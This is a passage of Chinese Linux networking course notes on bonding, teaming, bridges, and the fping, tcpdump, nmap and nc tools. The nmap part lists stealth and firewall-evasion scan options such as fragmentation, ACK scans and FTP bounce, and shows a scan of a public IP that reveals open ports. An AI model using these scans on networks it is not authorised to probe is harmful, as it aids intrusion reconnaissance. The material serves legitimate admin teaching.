需要ethtool支持获取每个slave的速率

mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡)

该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何
switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应
答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同
的硬件地址进行通信。
mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会
发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只
占了小部分流量

  1. 常用的模式为 0,1,3,6
  2. mode 1、5、6 不需要交换机设置
  3. mode 0、2、3、4需要交换机设置
  4. active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
  5. 要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模式
  6. 4中需要 LACP和 EtherChannel

4.6.2 Bonding 配置

  1. #参考:
  2. /usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
  3. https://www.kernel.org/doc/Documentation/networking/bonding.txt
  4. #创建bonding设备的配置文件
  5. /etc/sysconfig/network-scripts/ifcfg-bond0
  6. NAME=bond0
  7. TYPE=bond
  8. DEVICE=bond0
  9. BOOTPROTO=none
  10. IPADDR=10.0.0.100
  11. PREFIX=8
  12. #miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
  13. 条线路不通就转入另一条线路
  14. BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"
  15. /etc/sysconfig/network-scripts/ifcfg-eth0
  16. NAME=eth0
  17. DEVICE=eth0
  18. BOOTPROTO=none
  19. MASTER=bond0
  20. SLAVE=yes
  21. ONBOOT=yes
  22. /etc/sysconfig/network-scripts/ifcfg-eth1
  23. NAME=eth1
  24. DEVICE=eth1
  25. BOOTPROTO=none
  26. MASTER=bond0
  27. SLAVE=yes
  28. ONBOOT=yes
  29. #查看bond0状态:
  30. /proc/net/bonding/bond0
  31. #删除bond0
  32. ifconfig bond0 down
  33. rmmod bonding

4.6.3 nmcli实现 bonding

  1. #添加bonding接口
  2. nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
  3. ipv4.method manual ipv4.addresses 10.0.0.100/24
  4. #添加从属接口
  5. nmcli con add type bond-slave ifname ens7 master bond0
  6. nmcli con add type bond-slave ifname ens3 master bond0
  7. #注:如无为从属接口提供连接名,则该名称是接口名称加类型构成
  8. #要启动绑定,则必须首先启动从属接口
  9. nmcli con up bond-slave-eth0
  10. nmcli con up bond-slave-eth1
  11. #启动绑定
  12. nmcli con up mybond0

4.7 网络组 Network Teaming

网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
网络组不同于旧版中bonding技术,提供更好的性能和扩展性
网络组由内核驱动和teamd守护进程实现

多种方式 runner
        broadcast
        roundrobin
        activebackup
        loadbalance
        lacp (implements the 802.3ad Link Aggregation Control Protocol)

网络组特点
        启动网络组接口不会自动启动网络组中的port接口
        启动网络组接口中的port接口总会自动启动网络组接口
        禁用网络组接口会自动禁用网络组中的port接口
        没有port接口的网络组接口可以启动静态IP连接
        启用DHCP连接时,没有port接口的网络组会等待port接口的加入

  1. #创建网络组接口
  2. nmcli con add type team con-name CNAME ifname INAME [config JSON]
  3. CNAME 连接名
  4. INAME 接口名
  5. JSON 指定runner方式,格式:'{"runner": {"name": "METHOD"}}'
  6. METHOD 可以是broadcast, roundrobin, activebackup, loadbalance, lacp
  7. #创建port接口
  8. nmcli con add type team-slave con-name CNAME ifname INAME master TEAM
  9. CNAME 连接名,连接名若不指定,默认为team-slave-IFACE
  10. INAME 网络接口名
  11. TEAM 网络组接口名
  12. ##断开和启动
  13. nmcli dev dis INAME
  14. nmcli con up CNAME
  15. INAME 设备名 CNAME 网络组接口名或port接口
  16. #网络组示例
  17. nmcli con add type team con-name myteam0 ifname team0 config '{"runner": {"name":
  18. "loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
  19. nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
  20. nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
  21. nmcli con up myteam0
  22. nmcli con up team0-eth1
  23. nmcli con up team0-eth2
  24. teamdctl team0 state
  25. ping -I team0 192.168.0.254
  26. nmcli dev dis eth1
  27. teamdctl team0 state
  28. nmcli con up team0-port1
  29. nmcli dev dis eth2
  30. teamdctl team0 state
  31. nmcli con up team0-port2
  32. teamdctl team0 state
  33. #管理网络组配置文件
  34. /etc/sysconfig/network-scripts/ifcfg-team0
  35. DEVICE=team0
  36. DEVICETYPE=Team
  37. TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
  38. BOOTPROTO=none
  39. IPADDR0=172.16.0.100
  40. PREFIX0=24
  41. NAME=team0
  42. ONBOOT=yes
  43. #管理网络组配置文件
  44. /etc/sysconfig/network-scripts/ifcfg-team0-eth1
  45. DEVICE=eth1
  46. DEVICETYPE=TeamPort
  47. TEAM_MASTER=team0
  48. NAME=team0-eth1
  49. ONBOOT=yes
  50. #删除网络组
  51. nmcli connection down team0
  52. teamdctl team0 state
  53. nmcli connection show
  54. nmcli connectioni delete team0-eth0
  55. nmcli connectioni delete team0-eth1
  56. nmcli connection show

4.8 网桥(交换机)

4.8.1 桥接原理

桥接:把一台机器上的若干个网络接口“连接”起来。其结果是,其中一个网口收到的报文会被复制给其他网口并发送出去。以使得网口之间的报文能够互相转发。网桥就是这样一个设备,它有若干个网口,并且这些网口是桥接起来的。与网桥相连的主机就能通过交换机的报文转发而互相通信。

主机A发送的报文被送到交换机S1的eth0口,由于eth0与eth1、eth2桥接在一起,故而报文被复制到eth1和eth2,并且发送出去,然后被主机B和交换机S2接收到。而S2又会将报文转发给主机C、D

  1. #CentOS 8 取消brctl 工具,可以用下面方法查看网桥
  2. #查看桥接情况
  3. [root@centos8 ~]#ip link show master virbr0
  4. 4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc fq_codel master virbr0 state
  5. DOWN mode DEFAULT group default qlen 1000
  6.  link/ether 52:54:00:52:f2:5c brd ff:ff:ff:ff:ff:ff
  7. 。。。。
  8. [root@centos8 ~]#bridge link show
  9. 4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 master virbr0 state disabled
  10. priority 32 cost 100
  11. 8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
  12. forwarding priority 32 cost 100
  13. 9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
  14. forwarding priority 32 cost 100

 4.8.2 配置实现网桥

工具包:bridge-utils,目前 CentOS 8 系统光盘里无此包,EPEL源有此包

  1. yum install bridge-utils
  2. #查看网桥
  3. brctl show
  4. #查看CAM(content addressable memory内容可寻址存储器)表
  5. brctl showmacs br0
  6. #添加和删除网桥
  7. brctl addbr | delbr br0
  8. #添加和删除网桥中网卡
  9. brctl addif | delif br0 eth0
  10. #默认br0 是down,必须启用
  11. ifconfig br0 up
  12. #启用STP
  13. [root@centos7 ~]#brctl show
  14. bridge name bridge id STP enabled interfaces
  15. br0 8000.000c297e67a3 no eth1
  16. eth2
  17. [root@centos7 ~]#brctl stp br0 on
  18. [root@centos7 ~]#brctl show
  19. bridge name bridge id STP enabled interfaces
  20. br0 8000.000c297e67a3 yes eth1
  21. #注意:NetworkManager只支持以太网接口连接到网桥,不支持聚合接口
  22. #nmcli命令创建软件网桥
  23. nmcli con add con-name mybr0 type bridge ifname br0
  24. nmcli con modify mybr0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
  25. nmcli con add con-name br0-port0 type bridge-slave ifname eth0 master br0
  26. #查看配置文件
  27. cat /etc/sysconfig/network-scripts/ifcfg-br0
  28. cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
  29. #例:nmcli实现网桥
  30. #1创建网桥
  31. nmcli con add type bridge con-name br0 ifname br0
  32. nmcli connection modify br0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
  33. nmcli con up br0
  34. #2加入物理网卡
  35. nmcli con add type bridge-slave con-name br0-port0 ifname eth0 master br0
  36. nmcli con add type bridge-slave con-name br0-port1 ifname eth1 master br0
  37. nmcli con up br0-port0
  38. nmcli con up br0-port1
  39. #3查看网桥配置文件
  40. cat /etc/sysconfig/network-scripts/ifcfg-br0
  41. DEVICE=br0
  42. STP=yes
  43. TYPE=Bridge
  44. BOOTPROTO=static
  45. IPADDR=10.0.0.100
  46. PREFIX=24
  47. cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
  48. TYPE=Ethernet
  49. NAME=br0-port0
  50. DEVICE=eth0
  51. ONBOOT=yes
  52. BRIDGE=br0
  53. UUID=23f41d3b-b57c-4e26-9b17-d5f02dafd12d
  54. #4安装管理软件包:
  55. yum install bridge-utils
  56. brctl show
  57. #5删除br0
  58. nmcli con down br0
  59. rm /etc/sysconfig/network-scripts/ifcfg-br0*
  60. nmcli con reload

 4.9 网络测试诊断工具

  1. #测试网络连通性
  2. ping
  3. #显示正确的路由表
  4. ip route
  5. route
  6. #跟踪路由
  7. traceroute
  8. tracepath
  9. mtr
  10. #确定名称服务器使用
  11. nslookup
  12. host
  13. dig
  14. #抓包工具
  15. tcpdump
  16. wireshark
  17. #安全扫描工具
  18. nmap
  19. netcat :网络界的瑞士军刀,即nc
  20. #流量控制工具
  21. tc
  22. #例:
  23. tc qdisc add dev eth0 root netem loss 50%
  24. tc qdisc add dev eth0 root netem delay 1000ms
  25. tc qdisc show dev eth0
  26. tc qdisc del

4.9.1 fping

fping是一个程序,用于将ICMP探测发送到网络主机,类似于ping,fping的历史由来已久:Roland
Schemers在1992年确实发布了它的第一个版本,从那时起它就确立了自己的地位,成为网络诊断和统计的标准工具

相对于ping多个主机时性能要高得多。 fping完全不同于ping,可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件, 常在shell 脚本中使用

CentOS 中由EPEL源提供

官网:http://www.fping.org/
  1. [root@centos8 ~]#yum -y install fping
  2. [root@centos8 ~]#fping 10.0.0.7
  3. 10.0.0.7 is alive
  4. [root@centos7 ~]#echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
  5. [root@centos8 ~]#fping 10.0.0.7
  6. 10.0.0.7 is unreachable
  7. [root@centos8 ~]#fping 10.0.0.7
  8. 10.0.0.7 is unreachable
  9. [root@centos8 ~]#fping 10.0.0.7 10.0.0.8
  10. 10.0.0.8 is alive
  11. 10.0.0.7 is unreachable
  12. #-g 选项可以指定网段或地址范围
  13. [root@centos8 ~]#fping -g 10.0.0.0/24
  14. 10.0.0.1 is alive
  15. 10.0.0.2 is alive
  16. 10.0.0.8 is alive
  17. 10.0.0.100 is alive
  18. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.3
  19. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.3
  20. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  21. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  22. ......
  23. [root@centos8 ~]#fping -g 10.0.0.5 10.0.0.10
  24. 10.0.0.8 is alive
  25. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  26. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  27. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  28. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.6
  29. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
  30. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
  31. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
  32. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.5
  33. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
  34. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
  35. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
  36. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.10
  37. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
  38. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
  39. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
  40. ICMP Host Unreachable from 10.0.0.8 for ICMP Echo sent to 10.0.0.9
  41. 10.0.0.5 is unreachable
  42. 10.0.0.6 is unreachable
  43. 10.0.0.7 is unreachable
  44. 10.0.0.9 is unreachable
  45. 10.0.0.10 is unreachable
  46. #对文件中的主机时行测试
  47. [root@centos8 ~]#tee hosts.txt <<EOF
  48. 10.0.0.7
  49. 10.0.0.6
  50. EOF
  51. 10.0.0.7
  52. 10.0.0.6
  53. [root@centos8 ~]#fping < hosts.txt
  54. 10.0.0.6 is alive
  55. 10.0.0.7 is unreachable
  56. [root@centos8 ~]#fping -s < hosts.txt
  57. 10.0.0.6 is alive
  58. 10.0.0.7 is unreachable
  59. 2 targets
  60.    1 alive
  61.    1 unreachable
  62.    0 unknown addresses
  63.    1 timeouts (waiting for response)
  64.    5 ICMP Echos sent
  65.    1 ICMP Echo Replies received
  66.    0 other ICMP received
  67. 0.07 ms (min round trip time)
  68. 0.07 ms (avg round trip time)
  69. 0.07 ms (max round trip time)
  70.     4.080 sec (elapsed real time)

4.9.2 tcpdump

网络数据包截获分析工具。支持针对网络层、协议、主机、网络或端口的过滤。并提供and、or、not等逻辑语句帮助去除无用的信息。

  1. #tcpdump [-adeflnNOpqStvx][-c<数据包数目>][-dd][-ddd][-F<表达文件>][-i<网络界面>][-r<
  2. 数据包文件>][-s<数据包大小>][-tt][-T<数据包类型>][-vv][-w<数据包文件>][输出数据栏位]
  3. #参数说明:
  4. -a 尝试将网络和广播地址转换成名称。
  5. -c <数据包数目> 收到指定的数据包数目后,就停止进行倾倒操作。
  6. -d 把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出。
  7. -dd 把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出。
  8. -ddd 把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出。
  9. -e 显示链路层信息,默认不显示链路层
  10. -f 用数字显示网际网络地址。
  11. -F <表达文件> 指定内含表达方式的文件。
  12. -i <网络接口> 使用指定的网络截面送出数据包。
  13. -l 使用标准输出列的缓冲区。
  14. -n 不把主机的网络地址转换成名字。
  15. -N 不列出域名。
  16. -O 不将数据包编码最佳化。
  17. -p 不让网络界面进入混杂模式。
  18. -q 快速输出,仅列出少数的传输协议信息。
  19. -r <数据包文件> 从指定的文件读取数据包数据。
  20. -s <数据包大小> 设置每个数据包的大小。默认只截取前96个字节,使用-s0可以截取所有报文内容
  21. -S 用绝对而非相对数值列出TCP关联数。
  22. -t 在每列倾倒资料上不显示时间戳记。
  23. -tt 在每列倾倒资料上显示未经格式化的时间戳记。
  24. -T <数据包类型> 强制将表达方式所指定的数据包转译成设置的数据包类型。
  25. -v 详细显示指令执行过程。
  26. -vv 更详细显示指令执行过程。
  27. -x 用十六进制字码列出数据包资料。
  28. -w <数据包文件> 把数据包数据写入指定的文件。
  29. #例:
  30. #查看网卡
  31. [root@centos8 ~]#tcpdump -D
  32. 1.eth0 [Up, Running]
  33. 2.lo [Up, Running, Loopback]
  34. 3.any (Pseudo-device that captures on all interfaces) [Up, Running]
  35. 4.bluetooth-monitor (Bluetooth Linux Monitor) [none]
  36. 5.nflog (Linux netfilter log (NFLOG) interface) [none]
  37. 6.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
  38. 7.usbmon0 (All USB buses) [none]
  39. 8.usbmon1 (USB bus number 1)
  40. 9.usbmon2 (USB bus number 2)
  41. ##不指定任何参数,监听第一块网卡上经过的数据包。主机上可能有不止一块网卡,所以经常需要指定网卡。
  42. tcpdump
  43. #监听特定网卡
  44. tcpdump -i en0
  45. #监听特定主机,监听主机10.0.0.100 的通信包,注意:出、入的包都会被监听。
  46. tcpdump host 10.0.0.100
  47. #特定来源、目标地址的通信
  48. #特定来源
  49. tcpdump src host hostname
  50. #特定目标地址
  51. tcpdump dst host hostname
  52. #如果不指定src跟dst,那么来源或者目标是hostname的通信都会被监听
  53. tcpdump host hostname
  54. #例:重点
  55. [root@centos8 ~]#tcpdump -i eth0 -nn icmp and  src host 10.0.0.6 and dst host
  56. 10.0.0.7
  57. #特定端口
  58. tcpdump port 3000
  59. #监听TCP/UDP,服务器上不同服务分别用了TCP、UDP作为传输层,假如只想监听TCP的数据包
  60. tcpdump tcp
  61. #来源主机+端口+TCP,监听来自主机10.0.0.100在端口22上的TCP数据包
  62. tcpdump tcp port 22 and src host 10.0.0.100
  63. #监听特定主机之间的通信
  64. tcpdump ip host 10.0.0.101 and 10.0.0.102
  65. #10.0.0.101和除了10.0.0.1之外的主机之间的通信
  66. tcpdump ip host 10.0.0.101 and ! 10.0.0.1
  67. #详细示例
  68. tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24
  69. -w ./target.cap
  70. (1)tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据
  71. 报的类型
  72. (2)-i eth1 : 只抓经过接口eth1的包
  73. (3)-t : 不显示时间戳
  74. (4)-s 0 :设置为0表示使用默认值262144字节抓取每个包,以便与tcpdump的旧版本兼容
  75. (5)-c 100 : 只抓取100个数据包
  76. (6)dst port ! 22 : 不抓取目标端口是22的数据包
  77. (7)src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
  78. (8)-w ./target.cap : 保存成cap文件,方便用wireshark分析
  79. #限制抓包的数量,如下,抓到1000个包后,自动退出
  80. tcpdump -c 1000
  81. #保存到本地,tcpdump默认会将输出写到缓冲区,只有缓冲区内容达到一定的大小,或者tcpdump退出时,
  82. 才会将输出写到本地磁盘,可以加上-U强制立即写到本地磁盘(一般不建议,性能相对较差)
  83. tcpdump -n -vvv -c 1000 -w /tmp/tcpdump_save.cap

4.9.3 nmap

扫描远程主机工具,比发送 ICMP 报文的 ping 命令的功能要强大很多

官方帮助:https://nmap.org/book/man.html
  1. #格式:
  2. nmap [Scan Type(s)] [Options] {target specification}
  3. #选项:
  4. -sT  TCP connect() 扫描,这是最基本的 TCP 扫描方式。这种扫描很容易被检测到,在目标主机的日
  5. 志中会记录大批的连接请求以及错误信息  
  6. -sS  TCP 同步扫描 (TCP SYN),因为不必全部打开一个 TCP 连接,所以这项技术通常称为半开扫描
  7. (half-open)。这项技术最大的好处是,很少有系统能够把这记入系统日志
  8. -sF,-sX,-sN   秘密 FIN 数据包扫描、圣诞树 (Xmas Tree)、空 (Null) 扫描模式。这些扫描方式
  9. 的理论依据是:关闭的端口需要对你的探测包回应 RST 包,而打开的端口必需忽略有问题的包  
  10. -sP   ping 扫描,用 ping 方式检查网络上哪些主机正在运行。当主机阻塞 ICMP echo 请求包是
  11. ping 扫描是无效的。nmap 在任何情况下都会进行 ping 扫描,只有目标主机处于运行状态,才会进行后续
  12. 的扫描  
  13. -sU  UDP 的数据包进行扫描,想知道在某台主机上提供哪些 UDP 服务,可以使用此选项  
  14. -sA  ACK 扫描,这项高级的扫描方法通常可以用来穿过防火墙。  
  15. -sW   滑动窗口扫描,非常类似于 ACK 的扫描  
  16. -sR  RPC 扫描,和其它不同的端口扫描方法结合使用。  
  17. -b   FTP 反弹攻击 (bounce attack),连接到防火墙后面的一台 FTP 服务器做代理,接着进行端口
  18. 扫描。
  19. -P0   在扫描之前,不 ping 主机。  
  20. -PT   扫描之前,使用 TCP ping 确定哪些主机正在运行  
  21. -PS   对于 root 用户,这个选项让 nmap 使用 SYN 包而不是 ACK 包来对目标主机进行扫描。  
  22. -PI   设置这个选项,让 nmap 使用真正的 ping(ICMP echo 请求)来扫描目标主机是否正在运行。
  23. -PB   这是默认的 ping 扫描选项。它使用 ACK(-PT) 和 ICMP(-PI) 两种扫描类型并行扫描。如果防
  24. 火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。  
  25. -O   这个选项激活对 TCP/IP 指纹特征 (fingerprinting) 的扫描,获得远程主机的标志,也就是操
  26. 作系统类型
  27. -I   打开 nmap 的反向标志扫描功能。  
  28. -f   使用碎片 IP 数据包发送 SYN、FIN、XMAS、NULL。包增加包过滤、入侵检测系统的难度,使其无
  29. 法知道你的企图  
  30. -v   冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息。
  31. -S <IP>   在一些情况下,nmap 可能无法确定你的源地址 。在这种情况使用这个选项给出指定 IP 地址
  32. -g port   设置扫描的源端口
  33. -oN   把扫描结果重定向到一个可读的文件 logfilename 中
  34. -oS   扫描结果输出到标准输出。  
  35. --host_timeout   设置扫描一台主机的时间,以毫秒为单位。默认的情况下,没有超时限制  
  36. --max_rtt_timeout   设置对每次探测的等待时间,以毫秒为单位。如果超过这个时间限制就重传或者超
  37. 时。默认值是大约 9000 毫秒  
  38. --min_rtt_timeout   设置 nmap 对每次探测至少等待你指定的时间,以毫秒为单位  
  39. -M count   置进行 TCP connect() 扫描时,最多使用多少个套接字进行并行的扫描
  40. #例:
  41. #Tcp ack 扫描,并发2000,速度快
  42. nmap -n -PA --min-parallelism 2000 172.16.0.0/16
  43. #仅列出指定网段上的每台主机,不发送任何报文到目标主机.
  44. [root@centos8 ~]#nmap -sL 10.0.0.0/24
  45. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:28 CST
  46. Nmap scan report for 10.0.0.0
  47. Nmap scan report for 10.0.0.1
  48. ......
  49. Nmap scan report for 10.0.0.254
  50. Nmap scan report for 10.0.0.255
  51. Nmap done: 256 IP addresses (0 hosts up) scanned in 1.04 seconds
  52. #可以指定一个IP地址范围
  53. [root@centos8 ~]#nmap -sP 10.0.0.1-10
  54. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:30 CST
  55. Nmap scan report for 10.0.0.1
  56. Host is up (0.000081s latency).
  57. MAC Address: 00:50:56:C0:00:08 (VMware)
  58. Nmap scan report for 10.0.0.2
  59. Host is up (0.00034s latency).
  60. MAC Address: 00:50:56:F0:1E:25 (VMware)
  61. Nmap scan report for 10.0.0.6
  62. Host is up (0.00031s latency).
  63. MAC Address: 00:0C:29:4D:EF:2C (VMware)
  64. Nmap scan report for 10.0.0.7
  65. Host is up (0.00036s latency).
  66. MAC Address: 00:0C:29:29:F9:26 (VMware)
  67. Nmap scan report for 10.0.0.8
  68. Host is up.
  69. Nmap done: 10 IP addresses (5 hosts up) scanned in 2.89 seconds
  70. #批量扫描一个网段的主机存活数
  71. nmap -sP -v 192.168.1.0/24
  72. nmap –v –sn ip/24
  73. #有些主机关闭了ping检测,所以可以使用-P0跳过ping的探测,可以加快扫描速度.
  74. nmap -P0 192.168.1.100
  75. #扫描主机
  76. nmap –v –A IP
  77. #一次性扫描多台目标主机
  78. [root@centos8 ~]#nmap 10.0.0.6 10.0.0.7
  79. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:39 CST
  80. Nmap scan report for 10.0.0.6
  81. Host is up (0.00055s latency).
  82. Not shown: 998 closed ports
  83. PORT  STATE SERVICE
  84. 22/tcp open  ssh
  85. 111/tcp open rpcbind
  86. MAC Address: 00:0C:29:4D:EF:2C (VMware)
  87. Nmap scan report for 10.0.0.7
  88. Host is up (0.00050s latency).
  89. Not shown: 999 closed ports
  90. PORT  STATE SERVICE
  91. 22/tcp open  ssh
  92. MAC Address: 00:0C:29:29:F9:26 (VMware)
  93. Nmap done: 2 IP addresses (2 hosts up) scanned in 101.01 seconds
  94. #从一个文件中导入IP地址,并进行扫描
  95. [root@centos8 ~]#cat hosts.txt
  96. 10.0.0.7
  97. 10.0.0.6
  98. 58.87.87.99
  99. [root@centos8 ~]#nmap -iL hosts.txt
  100. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:43 CST
  101. Nmap scan report for 10.0.0.7
  102. Host is up (0.0024s latency).
  103. Not shown: 999 closed ports
  104. PORT  STATE SERVICE
  105. 22/tcp open  ssh
  106. MAC Address: 00:0C:29:29:F9:26 (VMware)
  107. Nmap scan report for 10.0.0.6
  108. Host is up (0.0032s latency).
  109. Not shown: 998 closed ports
  110. PORT  STATE SERVICE
  111. 22/tcp open  ssh
  112. 111/tcp open rpcbind
  113. MAC Address: 00:0C:29:4D:EF:2C (VMware)
  114. Nmap scan report for 58.87.87.99
  115. Host is up (0.016s latency).
  116. Not shown: 998 filtered ports
  117. PORT   STATE SERVICE
  118. 80/tcp  open http
  119. 3306/tcp open mysql
  120. Nmap done: 3 IP addresses (3 hosts up) scanned in 120.33 seconds
  121. #探测目标主机开放的端口,可指定一个以逗号分隔的端口列表(如-PS22,443,80)
  122. [root@centos8 ~]#nmap -PS22,80,443 10.0.0.1
  123. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:31 CST
  124. Nmap scan report for 10.0.0.1
  125. Host is up (0.00042s latency).
  126. Not shown: 996 filtered ports
  127. PORT   STATE SERVICE
  128. 135/tcp open msrpc
  129. 139/tcp open netbios-ssn
  130. 445/tcp open microsoft-ds
  131. 8082/tcp open blackice-alerts
  132. MAC Address: 00:50:56:C0:00:08 (VMware)
  133. Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
  134. #使用SYN半开放扫描
  135. [root@centos8 ~]#nmap -sS 10.0.0.1
  136. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:33 CST
  137. Nmap scan report for 10.0.0.1
  138. Host is up (-0.052s latency).
  139. Not shown: 996 filtered ports
  140. PORT   STATE SERVICE
  141. 135/tcp open msrpc
  142. 139/tcp open netbios-ssn
  143. 445/tcp open microsoft-ds
  144. 8082/tcp open blackice-alerts
  145. MAC Address: 00:50:56:C0:00:08 (VMware)
  146. Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds
  147. #扫描开放了TCP端口的设备
  148. [root@centos8 ~]#nmap -sT 10.0.0.1
  149. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:34 CST
  150. Nmap scan report for 10.0.0.1
  151. Host is up (0.00040s latency).
  152. Not shown: 996 filtered ports
  153. PORT   STATE SERVICE
  154. 135/tcp open msrpc
  155. 139/tcp open netbios-ssn
  156. 445/tcp open microsoft-ds
  157. 8082/tcp open blackice-alerts
  158. MAC Address: 00:50:56:C0:00:08 (VMware)
  159. Nmap done: 1 IP address (1 host up) scanned in 4.52 seconds
  160. #扫描开放了UDP端口的设备
  161. [root@centos8 ~]#nmap -sU 10.0.0.1
  162. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:34 CST
  163. Nmap scan report for 10.0.0.1
  164. Host is up (0.00046s latency).
  165. Not shown: 999 open|filtered ports
  166. PORT  STATE SERVICE
  167. 137/udp open netbios-ns
  168. MAC Address: 00:50:56:C0:00:08 (VMware)
  169. Nmap done: 1 IP address (1 host up) scanned in 18.52 seconds
  170. #只扫描UDP端口
  171. nmap –e eth1 -sU -O 10.0.0.1
  172. #扫描TCP和UDP端口
  173. nmap -sTU -O 10.0.0.1
  174. #用于扫描目标主机服务版本号
  175. [root@centos8 ~]#nmap -sV 10.0.0.7
  176. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 12:37 CST
  177. Nmap scan report for 10.0.0.7
  178. Host is up (0.0011s latency).
  179. Not shown: 999 closed ports
  180. PORT  STATE SERVICE VERSION
  181. 22/tcp open  ssh   OpenSSH 7.4 (protocol 2.0)
  182. MAC Address: 00:0C:29:29:F9:26 (VMware)
  183. Service detection performed. Please report any incorrect results at
  184. https://nmap.org/submit/ .
  185. Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds
  186. #查看主机当前开放的端口
  187. nmap localhost  
  188. #查看主机端口(1024-65535)中开放的端口
  189. nmap -p 1024-65535 localhost
  190. #探测目标主机开放的端口
  191. nmap -PS 10.0.0.1
  192. #探测所列出的目标主机端口
  193. nmap -PS22,80,3306 10.0.0.1
  194. #探测目标主机操作系统类型
  195. nmap -O 10.0.0.1
  196. #探测目标主机操作系统类型
  197. nmap -A 10.0.0.1

4.9.4 nc

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

  1. #nc的作用
  2. 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  3. 端口的扫描,nc可以作为client发起TCP或UDP连接
  4. 机器之间传输文件
  5. 机器之间网络测速
  6. #格式:
  7. nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<
  8. 来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
  9. #选项:
  10. -g <网关> 设置路由器跃程通信网关,最多可设置8个。
  11. -G <指向器数目> 设置来源路由指向器,其数值为4的倍数。
  12. -h 在线帮助。
  13. -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  14. -l 使用监听模式,管控传入的资料。
  15. -n 直接使用IP地址,而不通过域名服务器。
  16. -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  17. -p <通信端口> 设置本地主机使用的通信端口。
  18. -r 乱数指定本地与远端主机的通信端口。
  19. -s <来源位址> 设置本地主机送出数据包的IP地址。
  20. -u 使用UDP传输协议。
  21. -v 显示指令执行过程。
  22. -w <超时秒数> 设置等待连线的时间。
  23. -z 表示zero,表示扫描时不发送任何数据,只在扫描通信端口时使用。
  24. ##安装nc
